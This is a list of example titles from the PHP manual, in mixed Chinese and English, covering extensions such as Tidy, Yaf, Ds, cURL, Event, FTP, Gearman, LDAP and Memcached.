  • Example#4882 - 如何注册一个 stream wrapper
  • Example#4883 - Basic Tidy usage
  • Example#4884 - tidy::getBody example
  • Example#4885 - tidy::cleanrepair example
  • Example#4886 - tidy::__construct example
  • Example#4887 - tidy::diagnose example
  • Example#4888 - tidy_get_error_buffer example
  • Example#4889 - tidy::getConfig example
  • Example#4890 - tidy_getopt example
  • Example#4891 - Print all options along with their documentation and default value
  • Example#4892 - tidy::getStatus example
  • Example#4893 - tidy::head example
  • Example#4894 - tidy::html example
  • Example#4895 - tidy::parseFile example
  • Example#4896 - tidy::parseString example
  • Example#4897 - tidy::repairFile example
  • Example#4898 - tidy::repairString example
  • Example#4899 - tidy::root example
  • Example#4900 - tidyNode::hasChildren example
  • Example#4901 - tidyNode::hasChildren example
  • Example#4902 - tidyNode::hasSiblings example
  • Example#4903 - Extract ASP code from a mixed HTML document
  • Example#4904 - Extract comments from a mixed HTML document
  • Example#4905 - Extract HTML code from a mixed HTML document
  • Example#4906 - Extract JSTE code from a mixed HTML document
  • Example#4907 - Extract PHP code from a mixed HTML document
  • Example#4908 - Extract text from a mixed HTML document
  • Example#4909 - ob_tidyhandler example
  • Example#4910 - tidy_access_count example
  • Example#4911 - tidy_config_count example
  • Example#4912 - tidy_error_count example
  • Example#4913 - tidy_get_output example
  • Example#4914 - tidy_warning_count example
  • Example#4915 - Strip comments with the tokenizer
  • Example#4916 - token_get_all examples
  • Example#4917 - token_name example
  • Example#4918 - base64_decode 示例
  • Example#4919 - base64_encode 示例
  • Example#4920 - get_headers 例子
  • Example#4921 - get_headers using HEAD example
  • Example#4922 - get_meta_tags 解析了什么
  • Example#4923 - get_meta_tags 返回什么些
  • Example#4924 - http_build_query 使用示例
  • Example#4925 - http_build_query 使用数字下标的元素
  • Example#4926 - http_build_query 使用复杂的数组
  • Example#4927 - http_build_query 使用对象
  • Example#4928 - parse_url 例子
  • Example#4929 - parse_url 解析丢失协议的例子
  • Example#4930 - rawurldecode 示例
  • Example#4931 - 在 FTP URL 里包含一个密码
  • Example#4932 - rawurlencode 示例 2
  • Example#4933 - urldecode 示例
  • Example#4934 - urlencode 例子
  • Example#4935 - urlencode 与 htmlentities 例子
  • Example#4936 - Basic Javascript execution
  • Example#4937 - Yaml 范例
  • Example#4938 - Parse callback example
  • Example#4939 - Emit callback example
  • Example#4940 - yaml_emit example
  • Example#4941 - yaml_parse example
  • Example#4942 - 一个典型的应用目录结构
  • Example#4943 - 入口文件
  • Example#4944 - 重写规则
  • Example#4945 - 应用配置文件
  • Example#4946 - 默认控制器
  • Example#4947 - 默认视图文件
  • Example#4948 - 运行应用
  • Example#4949 - config为数组的例子
  • Example#4950 - config为ini文件的例子
  • Example#4951 - A Bootstrapexample
  • Example#4952 - Yaf_Application::bootstrapexample
  • Example#4953 - Yaf_Application::clearLastErrorexample
  • Example#4954 - A ini config file example
  • Example#4955 - Yaf_Application::__constructexample
  • Example#4956 - Yaf_Application::__constructexample
  • Example#4957 - Yaf_Application::environexample
  • Example#4958 - Yaf_Application::executeexample
  • Example#4959 - Yaf_Application::getConfigexample
  • Example#4960 - Yaf_Application::getDispatcherexample
  • Example#4961 - Yaf_Application::getLastErrorMsgexample
  • Example#4962 - Yaf_Application::getLastErrorNoexample
  • Example#4963 - Yaf_Application::getModulesexample
  • Example#4964 - Bootstrap example
  • Example#4965 - Yaf_Dispatcher::autoRenderexample
  • Example#4966 - Yaf_Dispatcher::catchExceptionexample
  • Example#4967 - Yaf_Dispatcher::registerPluginexample
  • Example#4968 - A custom View engineexample
  • Example#4969 - Yaf_Dispatcher::setViewexample
  • Example#4970 - Yaf_Dispatcher::throwexceptionexample
  • Example#4971 - Yaf_Dispatcher::throwexceptionexample
  • Example#4972 - Yaf_Config_Iniexample
  • Example#4973 - 在一个独立的文件中定义action
  • Example#4974 - Dummy_action.php
  • Example#4975 - Yaf_Controller_Abstract::forward例子
  • Example#4976 - Yaf_Action_Abstract::executeexample
  • Example#4977 - Yaf_Action_Abstract::executeexample
  • Example#4978 - Yaf_View_Simple::assignexample
  • Example#4979 - templateexample
  • Example#4980 - Yaf_View_Simple::assignRefexample
  • Example#4981 - templateexample
  • Example#4982 - Yaf_View_Simple::clearexample
  • Example#4983 - Yaf_View_Simple::__constructorexample
  • Example#4984 - Yaf_View_Simple::__setexample
  • Example#4985 - Config example
  • Example#4986 - 注册本地命名空间
  • Example#4987 - 加载类
  • Example#4988 - 加载命名空间类
  • Example#4989 - MVC类加载例子
  • Example#4990 - MVC 类区别
  • Example#4991 - MVC loading example
  • Example#4992 - Yaf_Loader::registerLocalNamespaceexample
  • Example#4993 - Plugin example
  • Example#4994 - Yaf_Plugin_Abstract::routerShutdownexample
  • Example#4995 - Yaf_Response_Abstract::appendBodyexample
  • Example#4996 - Yaf_Response_Abstract::getBodyexample
  • Example#4997 - Yaf_Response_Abstract::prependBodyexample
  • Example#4998 - Yaf_Response_Abstract::responseexample
  • Example#4999 - Yaf_Response_Abstract::setBodyexample
  • Example#5000 - Yaf_Route_Map::assembleexample
  • Example#5001 - Yaf_Route_Mapexample
  • Example#5002 - Yaf_Route_Mapexample
  • Example#5003 - Yaf_Route_Mapexample
  • Example#5004 - Yaf_Route_Regex::assembleexample
  • Example#5005 - Yaf_Route_Regexexample
  • Example#5006 - Yaf_Route_Regex(as of 2.3.0)example
  • Example#5007 - Yaf_Route_Regexexample
  • Example#5008 - Yaf_Route_Rewrite::assembleexample
  • Example#5009 - Yaf_Route_Rewriteexample
  • Example#5010 - Yaf_Route_Rewriteexample
  • Example#5011 - Yaf_Route_Rewrite(as of 2.3.0)example
  • Example#5012 - Apache的跳转规则
  • Example#5013 - Apache的跳转规则
  • Example#5014 - Lighttpd的跳转规则
  • Example#5015 - Nginx的跳转规则
  • Example#5016 - Yaf_Route_Static(default route)example
  • Example#5017 - application.iniexample
  • Example#5018 - Yaf_Dispatcher::autoConfigexample
  • Example#5019 - Yaf_Dispatcher::autoRenderexample
  • Example#5020 - 注册一些路由到Bootstrap
  • Example#5021 - plugin Dummy.php (under application.directory/plugins)
  • Example#5022 - Yaf_Route_Simple::assembleexample
  • Example#5023 - Yaf_Route_Simple::routeexample
  • Example#5024 - Yaf_Route_Simple::routeexample
  • Example#5025 - Yaf_Route_Static::assembleexample
  • Example#5026 - Yaf_Route_Static::routeexample
  • Example#5027 - Yaf_Route_Supervar::assembleexample
  • Example#5028 - Yaf_Route_Supervarexample
  • Example#5029 - INI example
  • Example#5030 - INI sections example
  • Example#5031 - INIexample
  • Example#5032 - Taintexample
  • Example#5033 - Vector
  • Example#5034 - Map
  • Example#5035 - Ds\Collection::clear example
  • Example#5036 - Ds\Collection::copy example
  • Example#5037 - Ds\Collection::isEmpty example
  • Example#5038 - Ds\Collection::toArray example
  • Example#5039 - Ds\Hashable::hash example
  • Example#5040 - Ds\Sequence::allocate example
  • Example#5041 - Ds\Sequence::apply example
  • Example#5042 - Ds\Sequence::capacity example
  • Example#5043 - Ds\Sequence::contains example
  • Example#5044 - Ds\Sequence::filter example using callback function
  • Example#5045 - Ds\Sequence::filter example without a callback function
  • Example#5046 - Ds\Sequence::find example
  • Example#5047 - Ds\Sequence::first example
  • Example#5048 - Ds\Sequence::get example
  • Example#5049 - Ds\Sequence::get example using array syntax
  • Example#5050 - Ds\Sequence::insert example
  • Example#5051 - Ds\Sequence::join example using a separator string
  • Example#5052 - Ds\Sequence::join example without a separator string
  • Example#5053 - Ds\Sequence::last example
  • Example#5054 - Ds\Sequence::map example
  • Example#5055 - Ds\Sequence::merge example
  • Example#5056 - Ds\Sequence::pop example
  • Example#5057 - Ds\Sequence::push example
  • Example#5058 - Ds\Sequence::reduce with initial value example
  • Example#5059 - Ds\Sequence::reduce without an initial value example
  • Example#5060 - Ds\Sequence::remove example
  • Example#5061 - Ds\Sequence::reverse example
  • Example#5062 - Ds\Sequence::reversed example
  • Example#5063 - Ds\Sequence::rotate example
  • Example#5064 - Ds\Sequence::set example
  • Example#5065 - Ds\Sequence::set example using array syntax
  • Example#5066 - Ds\Sequence::shift example
  • Example#5067 - Ds\Sequence::slice example
  • Example#5068 - Ds\Sequence::sort example
  • Example#5069 - Ds\Sequence::sort example using a comparator
  • Example#5070 - Ds\Sequence::sorted example
  • Example#5071 - Ds\Sequence::sorted example using a comparator
  • Example#5072 - Ds\Sequence::sum integer example
  • Example#5073 - Ds\Sequence::sum float example
  • Example#5074 - Ds\Sequence::unshift example
  • Example#5075 - Ds\Vector::allocate example
  • Example#5076 - Ds\Vector::apply example
  • Example#5077 - Ds\Vector::capacity example
  • Example#5078 - Ds\Vector::clear example
  • Example#5079 - Ds\Vector::__construct example
  • Example#5080 - Ds\Vector::contains example
  • Example#5081 - Ds\Vector::copy example
  • Example#5082 - Ds\Vector::filter example using callback function
  • Example#5083 - Ds\Vector::filter example without a callback function
  • Example#5084 - Ds\Vector::find example
  • Example#5085 - Ds\Vector::first example
  • Example#5086 - Ds\Vector::get example
  • Example#5087 - Ds\Vector::get example using array syntax
  • Example#5088 - Ds\Vector::insert example
  • Example#5089 - Ds\Vector::isEmpty example
  • Example#5090 - Ds\Vector::join example using a separator string
  • Example#5091 - Ds\Vector::join example without a separator string
  • Example#5092 - Ds\Vector::last example
  • Example#5093 - Ds\Vector::map example
  • Example#5094 - Ds\Vector::merge example
  • Example#5095 - Ds\Vector::pop example
  • Example#5096 - Ds\Vector::push example
  • Example#5097 - Ds\Vector::reduce with initial value example
  • Example#5098 - Ds\Vector::reduce without an initial value example
  • Example#5099 - Ds\Vector::remove example
  • Example#5100 - Ds\Vector::reverse example
  • Example#5101 - Ds\Vector::reversed example
  • Example#5102 - Ds\Vector::rotate example
  • Example#5103 - Ds\Vector::set example
  • Example#5104 - Ds\Vector::set example using array syntax
  • Example#5105 - Ds\Vector::shift example
  • Example#5106 - Ds\Vector::slice example
  • Example#5107 - Ds\Vector::sort example
  • Example#5108 - Ds\Vector::sort example using a comparator
  • Example#5109 - Ds\Vector::sorted example
  • Example#5110 - Ds\Vector::sorted example using a comparator
  • Example#5111 - Ds\Vector::sum integer example
  • Example#5112 - Ds\Vector::sum float example
  • Example#5113 - Ds\Vector::toArray example
  • Example#5114 - Ds\Vector::unshift example
  • Example#5115 - Ds\Deque::allocate example
  • Example#5116 - Ds\Deque::apply example
  • Example#5117 - Ds\Deque::capacity example
  • Example#5118 - Ds\Deque::clear example
  • Example#5119 - Ds\Deque::__construct example
  • Example#5120 - Ds\Deque::contains example
  • Example#5121 - Ds\Deque::copy example
  • Example#5122 - Ds\Deque::filter example using callback function
  • Example#5123 - Ds\Deque::filter example without a callback function
  • Example#5124 - Ds\Deque::find example
  • Example#5125 - Ds\Deque::first example
  • Example#5126 - Ds\Deque::get example
  • Example#5127 - Ds\Deque::get example using array syntax
  • Example#5128 - Ds\Deque::insert example
  • Example#5129 - Ds\Deque::isEmpty example
  • Example#5130 - Ds\Deque::join example using a separator string
  • Example#5131 - Ds\Deque::join example without a separator string
  • Example#5132 - Ds\Deque::last example
  • Example#5133 - Ds\Deque::map example
  • Example#5134 - Ds\Deque::merge example
  • Example#5135 - Ds\Deque::pop example
  • Example#5136 - Ds\Deque::push example
  • Example#5137 - Ds\Deque::reduce with initial value example
  • Example#5138 - Ds\Deque::reduce without an initial value example
  • Example#5139 - Ds\Deque::remove example
  • Example#5140 - Ds\Deque::reverse example
  • Example#5141 - Ds\Deque::reversed example
  • Example#5142 - Ds\Deque::rotate example
  • Example#5143 - Ds\Deque::set example
  • Example#5144 - Ds\Deque::set example using array syntax
  • Example#5145 - Ds\Deque::shift example
  • Example#5146 - Ds\Deque::slice example
  • Example#5147 - Ds\Deque::sort example
  • Example#5148 - Ds\Deque::sort example using a comparator
  • Example#5149 - Ds\Deque::sorted example
  • Example#5150 - Ds\Deque::sorted example using a comparator
  • Example#5151 - Ds\Deque::sum integer example
  • Example#5152 - Ds\Deque::sum float example
  • Example#5153 - Ds\Deque::toArray example
  • Example#5154 - Ds\Deque::unshift example
  • Example#5155 - Ds\Map::allocate example
  • Example#5156 - Ds\Map::apply example
  • Example#5157 - Ds\Map::capacity example
  • Example#5158 - Ds\Map::clear example
  • Example#5159 - Ds\Map::__construct example
  • Example#5160 - Ds\Map::copy example
  • Example#5161 - Ds\Map::diff example
  • Example#5162 - Ds\Map::filter example using callback function
  • Example#5163 - Ds\Map::filter example without a callback function
  • Example#5164 - Ds\Map::first example
  • Example#5165 - Ds\Map::get example
  • Example#5166 - Ds\Map::get example using array syntax
  • Example#5167 - Ds\Map::hasKey example
  • Example#5168 - Ds\Map::hasValue example
  • Example#5169 - Ds\Map::intersect example
  • Example#5170 - Ds\Map::isEmpty example
  • Example#5171 - Ds\Map::keys example
  • Example#5172 - Ds\Map::ksort example
  • Example#5173 - Ds\Map::ksort example using a comparator
  • Example#5174 - Ds\Map::ksorted example
  • Example#5175 - Ds\Map::ksorted example using a comparator
  • Example#5176 - Ds\Map::last example
  • Example#5177 - Ds\Map::map example
  • Example#5178 - Ds\Map::merge example
  • Example#5179 - Ds\Map::pairs example
  • Example#5180 - Ds\Map::put example
  • Example#5181 - Ds\Map::put example using objects as keys
  • Example#5182 - Ds\Map::putAll example
  • Example#5183 - Ds\Map::reduce with initial value example
  • Example#5184 - Ds\Map::reduce without an initial value example
  • Example#5185 - Ds\Map::remove example
  • Example#5186 - Ds\Map::reverse example
  • Example#5187 - Ds\Map::reversed example
  • Example#5188 - Ds\Map::skip example
  • Example#5189 - Ds\Map::slice example
  • Example#5190 - Ds\Map::sort example
  • Example#5191 - Ds\Map::sort example using a comparator
  • Example#5192 - Ds\Map::sort example
  • Example#5193 - Ds\Map::sort example using a comparator
  • Example#5194 - Ds\Map::sum integer example
  • Example#5195 - Ds\Map::sum float example
  • Example#5196 - Ds\Map::toArray example
  • Example#5197 - Ds\Map::union example
  • Example#5198 - Ds\Map::values example
  • Example#5199 - Ds\Map::xor example
  • Example#5200 - Ds\Pair::clear example
  • Example#5201 - Ds\Pair::copy example
  • Example#5202 - Ds\Pair::isEmpty example
  • Example#5203 - Ds\Pair::toArray example
  • Example#5204 - Ds\Set::add example using integers
  • Example#5205 - Ds\Set::add example using objects
  • Example#5206 - Ds\Set::allocate example
  • Example#5207 - Ds\Set::capacity example
  • Example#5208 - Ds\Set::clear example
  • Example#5209 - Ds\Set::__construct example
  • Example#5210 - Ds\Set::contains example
  • Example#5211 - Ds\Set::copy example
  • Example#5212 - Ds\Set::diff example
  • Example#5213 - Ds\Set::filter example using callback function
  • Example#5214 - Ds\Set::filter example without a callback function
  • Example#5215 - Ds\Set::first example
  • Example#5216 - Ds\Set::get example
  • Example#5217 - Ds\Set::get example using array syntax
  • Example#5218 - Ds\Set::intersect example
  • Example#5219 - Ds\Set::isEmpty example
  • Example#5220 - Ds\Set::join example using a separator string
  • Example#5221 - Ds\Set::join example without a separator string
  • Example#5222 - Ds\Set::last example
  • Example#5223 - Ds\Set::merge example
  • Example#5224 - Ds\Set::reduce with initial value example
  • Example#5225 - Ds\Set::reduce without an initial value example
  • Example#5226 - Ds\Set::remove example
  • Example#5227 - Ds\Set::reverse example
  • Example#5228 - Ds\Set::reversed example
  • Example#5229 - Ds\Set::slice example
  • Example#5230 - Ds\Set::sort example
  • Example#5231 - Ds\Set::sort example using a comparator
  • Example#5232 - Ds\Set::sorted example
  • Example#5233 - Ds\Set::sorted example using a comparator
  • Example#5234 - Ds\Set::sum integer example
  • Example#5235 - Ds\Set::sum float example
  • Example#5236 - Ds\Set::toArray example
  • Example#5237 - Ds\Set::union example
  • Example#5238 - Ds\Set::xor example
  • Example#5239 - Ds\Stack::clear example
  • Example#5240 - Ds\Stack::__construct example
  • Example#5241 - Ds\Stack::copy example
  • Example#5242 - Ds\Stack::isEmpty example
  • Example#5243 - Ds\Stack::peek example
  • Example#5244 - Ds\Stack::pop example
  • Example#5245 - Ds\Stack::push example
  • Example#5246 - Ds\Stack::toArray example
  • Example#5247 - Ds\Queue::allocate example
  • Example#5248 - Ds\Queue::capacity example
  • Example#5249 - Ds\Queue::clear example
  • Example#5250 - Ds\Queue::__construct example
  • Example#5251 - Ds\Queue::copy example
  • Example#5252 - Ds\Queue::isEmpty example
  • Example#5253 - Ds\Queue::peek example
  • Example#5254 - Ds\Queue::pop example
  • Example#5255 - Ds\Queue::push example
  • Example#5256 - Ds\Queue::toArray example
  • Example#5257 - Ds\PriorityQueue::allocate example
  • Example#5258 - Ds\PriorityQueue::capacity example
  • Example#5259 - Ds\PriorityQueue::clear example
  • Example#5260 - Ds\PriorityQueue::__construct example
  • Example#5261 - Ds\PriorityQueue::copy example
  • Example#5262 - Ds\PriorityQueue::isEmpty example
  • Example#5263 - Ds\PriorityQueue::peek example
  • Example#5264 - Ds\PriorityQueue::pop example
  • Example#5265 - Ds\PriorityQueue::push example
  • Example#5266 - Ds\PriorityQueue::toArray example
  • Example#5267 - Creating a chdb file
  • Example#5268 - Loading and looking up a chdb file
  • Example#5269 - chdb::get example
  • Example#5270 - chdb_create example
  • Example#5271 - 使用 PHP cURL 模块获取 example.com 的主页
  • Example#5272 - 初始化新的 cURL 会话，并获取一张网页
  • Example#5273 - 复制一个cURL句柄
  • Example#5274 - curl_errno 例子
  • Example#5275 - curl_error 例子
  • Example#5276 - curl_escape 示例
  • Example#5277 - 获取网页
  • Example#5278 - curl_getinfo example
  • Example#5279 - 初始化新的 cURL 会话并获取一个网页
  • Example#5280 - curl_multi_add_handle example
  • Example#5281 - curl_multi_close example
  • Example#5282 - curl_multi_exec example
  • Example#5283 - 一个curl_multi_info_read范例
  • Example#5284 - curl_multi_init example
  • Example#5285 - curl_multi_strerror 函数的范例：
  • Example#5286 - curl_reset 示例
  • Example#5287 - 初始化新的 cURL 会话并抓取 web 页面
  • Example#5288 - 我们对curl_setopt_array的等价实现
  • Example#5289 - 初始化一个新的cURL会话并获取一个网页
  • Example#5290 - 上传文件 (PHP 5.5.0 后被废弃)
  • Example#5291 - curl_share_setopt 函数范例：
  • Example#5292 - curl_share_init 函数的范例：
  • Example#5293 - curl_share_setopt 函数的范例：
  • Example#5294 - curl_errno 函数的范例：
  • Example#5295 - curl_escape 示例
  • Example#5296 - curl_version 例子
  • Example#5297 - CURLFile::__construct 示例
  • Example#5298 - Simple HTTP client
  • Example#5299 - HTTP client using asynchronous DNS resolver
  • Example#5300 - Echo server
  • Example#5301 - SSL echo server
  • Example#5302 - Signal handler
  • Example#5303 - Use libevent's loop to process requests of `eio' extension
  • Example#5304 - Miscellaneous
  • Example#5305 - Simple HTTP server
  • Example#5306 - Simple HTTPS server
  • Example#5307 - OpenSSL connection
  • Example#5308 - EventHttpConnection::makeRequest example
  • Example#5309 - Connection listener based on a UNIX domain socket
  • Example#5310 - Simple SMTP server
  • Example#5311 - Handling SIGTERM signal
  • Example#5312 - Event::addSignal example
  • Example#5313 - Event::addTimer example
  • Example#5314 - EventBase::getFeatures example
  • Example#5315 - EventBase::getMethod example
  • Example#5316 - EventBuffer::search example
  • Example#5317 - EventBufferEvent::connect example
  • Example#5318 - Connect to UNIX domain socket which presumably is served by a server, read response from the server and output it to the console
  • Example#5319 - EventBufferEvent::connectHost example
  • Example#5320 - Buffer event's read callback
  • Example#5321 - EventBufferEvent::getOutput example
  • Example#5322 - EventBufferEvent::sslError example
  • Example#5323 - Simple SMTP server
  • Example#5324 - EventConfig::avoidMethod example
  • Example#5325 - EventConfig::__construct example
  • Example#5326 - EventConfig::requireFeatures example
  • Example#5327 - EventHttp::accept example
  • Example#5328 - EventHttp::addServerAlias example
  • Example#5329 - EventHttp::bind example
  • Example#5330 - Simple HTTP server
  • Example#5331 - EventHttp::setCallback example
  • Example#5332 - EventHttp::setDefaultCallback example
  • Example#5333 - EventHttpConnection::makeRequest example
  • Example#5334 - EventHttpConnection::setCloseCallback example
  • Example#5335 - EventHttpRequest::__construct example
  • Example#5336 - EventHttpRequest::sendError example
  • Example#5337 - EventListener::__construct example
  • Example#5338 - EventSslContext::__construct example
  • Example#5339 - FTP 例程
  • Example#5340 - ftp_alloc 函数例程
  • Example#5341 - ftp_cdup 例子
  • Example#5342 - ftp_chdir 例子
  • Example#5343 - ftp_chmod 函数例程
  • Example#5344 - ftp_close 例子
  • Example#5345 - ftp_connect 例子
  • Example#5346 - ftp_delete 例子
  • Example#5347 - ftp_exec 例子
  • Example#5348 - ftp_fget 例子
  • Example#5349 - ftp_fput 例子
  • Example#5350 - ftp_get_option 实例
  • Example#5351 - ftp_get 例子
  • Example#5352 - ftp_login 例子
  • Example#5353 - ftp_mdtm 例子
  • Example#5354 - ftp_mlsd example
  • Example#5355 - ftp_nb_fget 函数例程
  • Example#5356 - ftp_nb_fput 函数例程
  • Example#5357 - ftp_nb_get 实例
  • Example#5358 - 使用 ftp_nb_get 函数断线续传
  • Example#5359 - 用 ftp_nb_get 在 100 的位置断线续传并存为 "newfile"
  • Example#5360 - ftp_nb_put 实例
  • Example#5361 - 使用 ftp_nb_put 来断线续传
  • Example#5362 - ftp_nlist 例子
  • Example#5363 - ftp_pasv 实例
  • Example#5364 - ftp_put 实例
  • Example#5365 - ftp_pwd 例子
  • Example#5366 - 使用 ftp_raw 登录远程 FTP 服务器
  • Example#5367 - ftp_rawlist 例子
  • Example#5368 - ftp_rename 例子
  • Example#5369 - ftp_rmdir 例子
  • Example#5370 - ftp_set_option 例子
  • Example#5371 - 向一个 FTP 服务器发送一条 SITE 命令
  • Example#5372 - ftp_size 例子
  • Example#5373 - ftp_ssl_connect 函数例程
  • Example#5374 - ftp_systype 例子
  • Example#5375 - Basic Gearman client and worker
  • Example#5376 - Basic Gearman client and worker, background
  • Example#5377 - Basic Gearman client and worker, submitting tasks
  • Example#5378 - Adding two job servers
  • Example#5379 - Add two job servers
  • Example#5380 - Basic submission of two tasks
  • Example#5381 - Basic submission of two tasks with passing application context
  • Example#5382 - Two tasks, one background and one not
  • Example#5383 - A high priority task along with two normal tasks
  • Example#5384 - A low priority task along with two normal tasks
  • Example#5385 - Monitor completion of multiple background tasks
  • Example#5386 - Simple job submission with immediate return
  • Example#5387 - Submitting a job and retrieving incremental status
  • Example#5388 - Submit and monitor a background job
  • Example#5389 - Simple job submission with immediate return
  • Example#5390 - Submitting a job and retrieving incremental status
  • Example#5391 - Get the status of a long running job
  • Example#5392 - Monitor the status of a long running background job
  • Example#5393 - Simple worker making use of extra application context data
  • Example#5394 - Add alternate Gearman servers
  • Example#5395 - Add two job servers
  • Example#5396 - GearmanWorker::setId example
  • Example#5397 - A simple worker with a 5 second timeout
  • Example#5398 - Running worker in non-blocking mode
  • Example#5399 - GearmanWorker::work example
  • Example#5400 - Hypothetical output from gopher://gopher.example.com/
  • Example#5401 - Using gopher_parsedir
  • Example#5402 - Search for all UPnP devices and services.
  • Example#5403 - Implementing light server
  • Example#5404 - Implementing light client
  • Example#5405 - Create new UPnP context and get IP address of the host
  • Example#5406 - Create new UPnP context and get port number
  • Example#5407 - Create new UPnP context and set host path
  • Example#5408 - Create new UPnP context
  • Example#5409 - Create new UPnP context and set callback
  • Example#5410 - Create new UPnP context and start browsing
  • Example#5411 - Create new UPnP context and start browsing
  • Example#5412 - Create new UPnP context and get device info service
  • Example#5413 - Create new UPnP context and get device info service
  • Example#5414 - Retrieve an object
  • Example#5415 - Testing support for paged result control
  • Example#5416 - LDAP search example
  • Example#5417 - Bind with ppolicy information
  • Example#5418 - Modify description only if it's not empty
  • Example#5419 - Read some values before deletion
  • Example#5420 - Delete a reference
  • Example#5421 - Use pagination for a search
  • Example#5422 - Complete example with authenticated bind
  • Example#5423 - 使用 LDAP Bind
  • Example#5424 - Using LDAP Bind Anonymously
  • Example#5425 - Complete example of password check
  • Example#5426 - Example of connecting to LDAP server.
  • Example#5427 - Example of connecting securely to LDAP server.
  • Example#5428 - LDAP pagination
  • Example#5429 - LDAP pagination
  • Example#5430 - ldap-count-entries example
  • Example#5431 - Enumerating all LDAP error messages
  • Example#5432 - Generating and catching an error
  • Example#5433 - Searching for an email address
  • Example#5434 - PASSWD extended operation
  • Example#5435 - Whoami extended operation
  • Example#5436 - Show the list of attributes held for a particular directory entry
  • Example#5437 - Check protocol version
  • Example#5438 - List all values of the "mail" attribute for a directory entry
  • Example#5439 - Produce a list of all organizational units of an organization
  • Example#5440 - Add a telephone number to a contact
  • Example#5441 - Rename a user
  • Example#5442 - Add two e-mail addresses to a user
  • Example#5443 - Change a user's password
  • Example#5444 - Change a user's password (Active Directory)
  • Example#5445 - ldap_parse_result example
  • Example#5446 - LDAP search
  • Example#5447 - Set protocol version
  • Example#5448 - Set server controls
  • Example#5449 - LDAP sort
  • Example#5450 - memcache扩展概览示例
  • Example#5451 - 使用memcache的session处理器
  • Example#5452 - Memcache::add示例
  • Example#5453 - Memcache::addServer 示例
  • Example#5454 - Memcache::close示例
  • Example#5455 - Memcache::connect example
  • Example#5456 - Memcache::decrement example
  • Example#5457 - Memcache::delete example
  • Example#5458 - Memcache::flush示例
  • Example#5459 - Memcache::get 示例
  • Example#5460 - Memcache::getExtendedStats 示例
  • Example#5461 - Memcache::getServerStatus 示例
  • Example#5462 - Memcache::getVersion 示例
  • Example#5463 - Memcache::increment示例
  • Example#5464 - Memcache::pconnect示例
  • Example#5465 - Memcache::replace示例
  • Example#5466 - Memcache::set 示例
  • Example#5467 - Memcache::set 示例
  • Example#5468 - Memcache::setCompressThreshold 示例
  • Example#5469 - Memcache::setServerParams 示例
  • Example#5470 - 结果回调示例
  • Example#5471 - 通读回调示例
  • Example#5472 - Memcached::addServer example
  • Example#5473 - Memcached::addServers示例
  • Example#5474 - Memcached::append示例
  • Example#5475 - Memcached::cas 示例
  • Example#5476 - 创建一个Memcached对象
  • Example#5477 - Memcached::decrement 示例
  • Example#5478 - Memcached::delete 示例
  • Example#5479 - Memcached::fetch 示例
  • Example#5480 - Memcached::getDelayed 示例
  • Example#5481 - Memcached::flush 示例
  • Example#5482 - Memcached::get 示例 #1
  • Example#5483 - Memcached::get 示例 #2
  • Example#5484 - Memcached::getDelayed 示例
  • Example#5485 - Memcached::getMulti 的 Memcached v3 示例
  • Example#5486 - Memcached::getMulti 的 Memcached v1 和 v2 示例
  • Example#5487 - Memcached::GET_PRESERVE_ORDER 的 Memcached v3 示例
  • Example#5488 - Memcached::GET_PRESERVE_ORDER 的 Memcached v1 和 v2 示例
  • Example#5489 - 获取Memcached选项
  • Example#5490 - Memcached::getResultCode 示例
  • Example#5491 - Memcached::getResultMessage 示例
  • Example#5492 - Memcached::getServerByKey 示例
  • Example#5493 - Memcached::getServerList 示例
  • Example#5494 - Memcached::getStats 示例
  • Example#5495 - Memcached::getVersion 示例
  • Example#5496 - Memcached::increment 示例
  • Example#5497 - Memcached::prepend 示例
  • Example#5498 - Memcached::set 示例
  • Example#5499 - Memcached::setByKey 示例
  • Example#5500 - Memcached::setMulti 示例
  • Example#5501 - 设置一个memcached选项值
  • Example#5502 - Setting Memcached options
  • Example#5503 - mqseries_back example
  • Example#5504 - mqseries_begin example
  • Example#5505 - mqseries_close example
  • Example#5506 - mqseries_cmit example
  • Example#5507 - mqseries_conn example
  • Example#5508 - mqseries_connx example
  • Example#5509 - mqseries_connx example using SSL connection & OCSP Responder URL
  • Example#5510 - mqseries_disc example
  • Example#5511 - mqseries_get example
  • Example#5512 - mqseries_inq example
  • Example#5513 - mqseries_open example
  • Example#5514 - mqseries_put example
  • Example#5515 - mqseries_strerror example
  • Example#5516 - define_syslog_variables example
  • Example#5517 - 使用 dns_get_record函数
  • Example#5518 - 使用dns_get_record配合DNS_ANY的例子
  • Example#5519 - fsockopen的例子
  • Example#5520 - 使用UDP连接
  • Example#5521 - 一个使用 gethostbyaddr 的简单例子
  • Example#5522 - 简单的 gethostbyname 例子
  • Example#5523 - gethostbynamel 例子
  • Example#5524 - 简单的 gethostname 例子
  • Example#5525 - getprotobyname example
  • Example#5526 - getservbyname 例子
  • Example#5527 - header_register_callback 例子
  • Example#5528 - 取消指定的头
  • Example#5529 - 取消之前全部指定的头
  • Example#5530 - 下载对话框
  • Example#5531 - 缓存指令
  • Example#5532 - 使用 headers_list 的例子
  • Example#5533 - 使用 headers_sent 的例子
  • Example#5534 - Web 服务器环境内使用 http_response_code
  • Example#5535 - 在 CLI 环境内使用 http_response_code
  • Example#5536 - inet_ntop Example
  • Example#5537 - inet_pton Example
  • Example#5538 - ip2long 例子
  • Example#5539 - 显示IP地址
  • Example#5540 - setcookie 发送例子
  • Example#5541 - setcookie 删除例子
  • Example#5542 - setcookie 和数组
  • Example#5543 - Using syslog
  • Example#5544 - Procedural usage of rrd
  • Example#5545 - OO usage of rrd
  • Example#5546 - RRDGraph::setOptions example
  • Example#5547 - Set multiple color options
  • Example#5548 - RRDUpdater::update examples
  • Example#5549 - Creating a connection and connecting to a remote WebSphere MQSeries Messaging Server
  • Example#5550 - Creating a connection and connecting to a remote WebSphere Application Server
  • Example#5551 - Creating a connection and connecting to an MQTT server
  • Example#5552 - Creating a message with a simple text body
  • Example#5553 - Setting a text format property using the default syntax
  • Example#5554 - Setting a property using a type hint
  • Example#5555 - Retrieving a property from a message header
  • Example#5556 - Adding a message to a queue and receiving a response
  • Example#5557 - Creating a durable subscription to a topic
  • Example#5558 - Subscribing to a topic using a WebSphere Platform Messaging (WPM) server
  • Example#5559 - Receiving published data using a durable subscription
  • Example#5560 - Deleting a durable subscription to a topic
  • Example#5561 - Handling an error from a method that returns no result
  • Example#5562 - Handling an error from a method that returns a result
  • Example#5563 - Committing the current unit of work
  • Example#5564 - Creating a connection to a Messaging Server using the IBM MQSeries protocol (WMQ)
  • Example#5565 - Creating a connection with application transaction control and default host and port values
  • Example#5566 - Creating a connection to a Messaging Server using the IBM WebSphere Platform Messaging protocol (WPM)
